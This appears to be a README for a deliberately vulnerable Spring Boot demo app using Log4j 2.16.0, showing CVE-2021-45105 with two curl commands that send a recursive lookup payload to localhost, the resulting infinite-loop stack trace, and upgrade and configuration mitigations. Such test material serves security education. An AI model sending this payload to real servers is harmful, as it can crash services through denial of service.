
स्प्रिंग बूट वेब एप्लिकेशन का नमूना जो Log4j2 CVE-2021-45105 के प्रति संवेदनशील है, जिसमें सुरक्षा परीक्षण और शिक्षा के लिए दस्तावेजी शोषण चरण और शमन मार्गदर्शन शामिल है।
This application is based on Spring Boot web application vulnerable to CVE-2021-45105
It uses Log4j 2.16.0

Run it:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Java 8 (or later) users should upgrade to release 2.17.0.
Alternatively, this can be mitigated in configuration:
In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC). Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.